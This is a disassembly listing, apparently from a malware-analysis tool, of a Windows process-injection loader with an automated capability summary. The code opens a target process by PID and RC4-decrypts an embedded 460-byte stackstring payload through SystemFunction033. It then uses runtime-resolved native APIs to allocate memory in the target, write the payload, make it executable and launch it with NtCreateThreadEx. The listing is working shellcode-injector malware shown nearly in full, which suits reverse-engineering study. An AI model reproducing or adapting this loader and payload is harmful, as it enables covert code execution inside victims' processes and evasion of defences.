Function at 0x140001070
Capabilities:
Contain obfuscated stackstrings
Encrypt data using rc4 via systemfunction033
Link many functions at runtime

Disassembly:
push rbp
lea rbp, [rsp - 0x190]
sub rsp, 0x290
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x170], rax
cmp ecx, 2
jge 0x1400010ad
lea rcx, str.____Usage:_programe.exe__PID__n
call fcn.140001010
mov eax, 0xffffffff
jmp 0x140001812
mov rcx, qword [rdx + 8]
mov qword [rsp + 0x2b0], rsi
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_atoi]
xor edx, edx
mov ecx, 0x1fffff
mov r8d, eax
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rsi, rax
test rax, rax
jne 0x1400010f3
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Could_Not_open_specified_Process._Error:__lu_n
call fcn.140001010
lea eax, [rsi - 1]
jmp 0x14000180a
mov qword [rsp + 0x2a0], rbx
mov dword [rbp - 0x60], 0x7332a9b2
mov dword [rbp - 0x5c], 0xa4c618f2
mov dword [rbp - 0x58], 0xb942d675
mov dword [rbp - 0x54], 0x57c922fd
mov dword [rbp - 0x50], 0x485904a8
mov dword [rbp - 0x4c], 0x4bc693e6
mov dword [rbp - 0x48], 0xd7f66657
mov dword [rbp - 0x44], 0x6c294dbe
mov dword [rbp - 0x40], 0x50669f8d
mov dword [rbp - 0x3c], 0x8377be86
mov dword [rbp - 0x38], 0x37ca080a
mov dword [rbp - 0x34], 0x223d3fff
mov dword [rbp - 0x30], 0xe1784705
mov dword [rbp - 0x2c], 0xd7eb8f1e
mov dword [rbp - 0x28], 0xb5272940
mov dword [rbp - 0x24], 0x2896478a
mov dword [rbp - 0x20], 0xafb923b7
mov dword [rbp - 0x1c], 0x2b52f5af
mov dword [rbp - 0x18], 0xdaf88a4f
mov dword [rbp - 0x14], 0x2fb57434
mov dword [rbp - 0x10], 0x1fb45646
mov dword [rbp - 0xc], 0xb63a30d2
mov dword [rbp - 8], 0xde605930
mov dword [rbp - 4], 0x51401783
mov dword [rbp], 0x554e6a78
mov dword [rbp + 4], 0xc3a63a63
mov dword [rbp + 8], 0x11e78085
mov dword [rbp + 0xc], 0x1a0a6be3
mov dword [rbp + 0x10], 0x65fa8f62
mov dword [rbp + 0x14], 0xeeb9084e
mov dword [rbp + 0x18], 0xf6104f20
mov dword [rbp + 0x1c], 0x810fffdf
mov dword [rbp + 0x20], 0xb759eae5
mov dword [rbp + 0x24], 0x7fe9888d
mov dword [rbp + 0x28], 0x3976c0d3
mov dword [rbp + 0x2c], 0xd15b631b
mov dword [rbp + 0x30], 0x786896c2
mov dword [rbp + 0x34], 0x98a2473b
mov dword [rbp + 0x38], 0x8fc7551
mov dword [rbp + 0x3c], 0x7dd30419
mov dword [rbp + 0x40], 0xbe96afc2
mov dword [rbp + 0x44], 0x9cf46052
mov dword [rbp + 0x48], 0xaa46095f
mov dword [rbp + 0x4c], 0xb6e90896
mov dword [rbp + 0x50], 0x47cd01d8
mov dword [rbp + 0x54], 0xb263a208
mov dword [rbp + 0x58], 0x278293f7
mov dword [rbp + 0x5c], 0xcc7ef5c4
mov dword [rbp + 0x60], 0x5b1c0b1d
mov dword [rbp + 0x64], 0x6e720b4d
mov dword [rbp + 0x68], 0xfc872a5c
mov dword [rbp + 0x6c], 0x29dfb583
mov dword [rbp + 0x70], 0xa674870e
mov dword [rbp + 0x74], 0xcd6280ea
mov dword [rbp + 0x78], 0x323734a5
mov dword [rbp + 0x7c], 0xd2030338
mov dword [rbp + 0x80], 0x9654f62d
mov dword [rbp + 0x84], 0x8596a821
mov dword [rbp + 0x88], 0x9b81a802
mov dword [rbp + 0x8c], 0xf79cf450
mov dword [rbp + 0x90], 0x414600a0
mov dword [rbp + 0x94], 0x5872f268
mov dword [rbp + 0x98], 0xbf2db661
mov dword [rbp + 0x9c], 0xcc9aa12f
mov dword [rbp + 0xa0], 0x895daa4
mov dword [rbp + 0xa4], 0x60ae588f
mov dword [rbp + 0xa8], 0xc779c0a7
mov dword [rbp + 0xac], 0x9e38632c
mov dword [rbp + 0xb0], 0xd2749606
mov dword [rbp + 0xb4], 0xcca7e9fb
mov dword [rbp + 0xb8], 0xb2cd538c
mov dword [rbp + 0xbc], 0x34e85a4c
mov dword [rbp + 0xc0], 0xd72a1b4c
mov dword [rbp + 0xc4], 0x60bac57b
mov dword [rbp + 0xc8], 0xd33b83ef
mov dword [rbp + 0xcc], 0x30dc8c97
mov dword [rbp + 0xd0], 0x522d0660
mov dword [rbp + 0xd4], 0xaa317f70
mov dword [rbp + 0xd8], 0x570a210
mov dword [rbp + 0xdc], 0x28e67fa9
lea rcx, str.NTDLL.DLL
mov dword [rbp + 0xe0], 0x900382d7
mov dword [rbp + 0xe4], 0xb6dce898
mov dword [rbp + 0xe8], 0x560b64b9
mov dword [rbp + 0xec], 0xd4140d72
mov dword [rbp + 0xf0], 0x3b8cdba
mov dword [rbp + 0xf4], 0x362e7fef
mov dword [rbp + 0xf8], 0xff72d367
mov dword [rbp + 0xfc], 0x29513222
mov dword [rbp + 0x100], 0xfd5c44dc
mov dword [rbp + 0x104], 0x7e22e05d
mov dword [rbp + 0x108], 0x4c2f05b9
mov dword [rbp + 0x10c], 0xbe91e016
mov dword [rbp + 0x110], 0x1576736c
mov dword [rbp + 0x114], 0xf55f4761
mov dword [rbp + 0x118], 0xae36b6cc
mov dword [rbp + 0x11c], 0xb996cd5d
mov dword [rbp + 0x120], 0x369dca9f
mov dword [rbp + 0x124], 0x179b8fb0
mov dword [rbp + 0x128], 0x18ee32b4
mov dword [rbp + 0x12c], 0x4c204a49
mov dword [rbp + 0x130], 0x9c1402a
mov dword [rbp + 0x134], 0x4d90f2af
mov dword [rbp + 0x138], 0xc21271e1
mov dword [rbp + 0x13c], 0xe1364adc
mov dword [rbp + 0x140], 0x1ebbff76
mov dword [rbp + 0x144], 0x4ab3fca0
mov dword [rbp + 0x148], 0x569dd637
mov dword [rbp + 0x14c], 0xee5950b7
mov dword [rbp + 0x150], 0x2fc5977
mov dword [rbp + 0x154], 0x71a0e9b3
mov dword [rbp + 0x158], 0xdbe0337e
mov dword [rbp + 0x15c], 0x3d624f20
mov dword [rbp + 0x160], 0xfe6190ac
mov dword [rbp + 0x164], 0x432d04a2
mov dword [rbp + 0x168], 0x7f35f911
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rbx, rax
test rax, rax
jne 0x1400014ff
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Could_not_retrieve_DLL._Error:__lu_n
call fcn.140001010
jmp 0x140001591
lea rdx, str.NtAllocateVirtualMemory
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.NtProtectVirtualMemory
mov rcx, rbx
mov qword [0x140005678], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.NtWriteVirtualMemory
mov rcx, rbx
mov qword [0x140005670], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.NtCreateThreadEx
mov rcx, rbx
mov qword [0x140005680], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp qword [0x140005678], 0
mov qword [0x140005688], rax
je 0x140001585
cmp qword [0x140005670], 0
je 0x140001585
cmp qword [0x140005680], 0
je 0x140001585
lea rcx, str.___Native_Functions_should_work_n
test rax, rax
jne 0x14000158c
lea rcx, str.____Failed_to_declare_NTAPIs_n
call fcn.140001010
lea rax, [0x140005078]
mov dword [rsp + 0x78], 9
mov qword [rbp - 0x80], rax
lea rcx, str.advapi32
lea rax, [rbp - 0x60]
mov dword [rsp + 0x7c], 9
mov qword [rsp + 0x70], rax
mov dword [rsp + 0x68], 0x1cc
mov dword [rsp + 0x6c], 0x1cc
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rcx, rax
lea rdx, str.SystemFunction033
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
jne 0x1400015f6
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.____Error_retieving_decryption_function._Error:__lu_n
jmp 0x14000160d
lea rdx, [rsp + 0x78]
lea rcx, [rsp + 0x68]
call rax
test eax, eax
je 0x14000162a
lea rcx, str.____SystemFunction033_FAILED_With_Error:_0x_0.8X__n
mov edx, eax
call fcn.140001010
lea rcx, str.____Decryption_failed._n
call fcn.140001010
mov eax, 0xffffffff
jmp 0x140001802
mov qword [rsp + 0x288], rdi
lea rcx, str.___Decryption_Successful_n
mov qword [rsp + 0x280], r14
call fcn.140001010
xor r14d, r14d
lea rdi, [rbp - 0x60]
mov ebx, r14d
test ebx, ebx
je 0x14000167a
mov eax, 0x92492493
imul ebx
add edx, ebx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
imul ecx, edx, 0xe
cmp ebx, ecx
jne 0x14000167a
lea rcx, [0x1400035e4]
call fcn.140001010
movzx edx, byte [rdi]
lea rcx, str.x_02x
call fcn.140001010
inc ebx
inc rdi
cmp ebx, 0x1cc
jb 0x140001650
mov rdi, qword [rsp + 0x288]
lea rcx, [0x1400035e4]
call fcn.140001010
lea r9, [rsp + 0x68]
mov dword [rsp + 0x28], 4
xor r8d, r8d
mov qword [rbp - 0x70], 0x1cc
lea rdx, [rsp + 0x60]
mov qword [rsp + 0x60], r14
mov rcx, rsi
mov dword [rbp - 0x78], r14d
mov qword [rsp + 0x68], 0x1cc
mov qword [rsp + 0x78], r14
mov dword [rsp + 0x20], 0x3000
call qword [0x140005678]
test eax, eax
je 0x140001706
mov edx, eax
lea rcx, str.____NtAllocateVirtualMemory_Failed_With_Error_:_0x_0.8X__n
call fcn.140001010
jmp 0x1400017f8
mov rdx, qword [rbp - 0x70]
lea rcx, str._t_i__Writing_Payload_Of_Size__d_...
call fcn.140001010
mov r9d, dword [rbp - 0x70]
lea r8, [rbp - 0x60]
mov rdx, qword [rsp + 0x60]
mov rcx, rsi
mov qword [rsp + 0x20], r14
call qword [0x140005680]
test eax, eax
je 0x140001748
mov edx, eax
lea rcx, str.____pNtWriteVirtualMemory_Failed_With_Error_:_0x_0.8X__n
call fcn.140001010
jmp 0x1400017f8
lea rcx, str.___DONE__n
call fcn.140001010
lea rax, [rbp - 0x78]
mov r9d, 0x40
lea r8, [rbp - 0x70]
mov qword [rsp + 0x20], rax
lea rdx, [rsp + 0x60]
mov rcx, rsi
call qword [0x140005670]
test eax, eax
je 0x140001789
mov edx, eax
lea rcx, str.____NtProtectVirtualMemory_Failed_With_Error_:_0x_0.8X__n
call fcn.140001010
jmp 0x1400017f8
mov rdx, qword [rsp + 0x60]
lea rcx, str._t_i__Running_Thread_Of_Entry_0x_p_...
call fcn.140001010
mov rax, qword [rsp + 0x60]
lea rcx, [rsp + 0x78]
mov qword [rsp + 0x50], r14
mov r9, rsi
mov qword [rsp + 0x48], r14
xor r8d, r8d
mov qword [rsp + 0x40], r14
mov edx, 0x1fffff
mov qword [rsp + 0x38], r14
mov dword [rsp + 0x30], r14d
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], rax
call qword [0x140005688]
test eax, eax
je 0x1400017ec
mov edx, eax
lea rcx, str.____NtCreateThreadEx_Failed_With_Error_:_0x_0.8X__n
call fcn.140001010
jmp 0x1400017f8
lea rcx, str.___DONE__n
call fcn.140001010
mov r14, qword [rsp + 0x280]
xor eax, eax
mov rbx, qword [rsp + 0x2a0]
mov rsi, qword [rsp + 0x2b0]
mov rcx, qword [rbp + 0x170]
xor rcx, rsp
call fcn.140001840
add rsp, 0x290
pop rbp
ret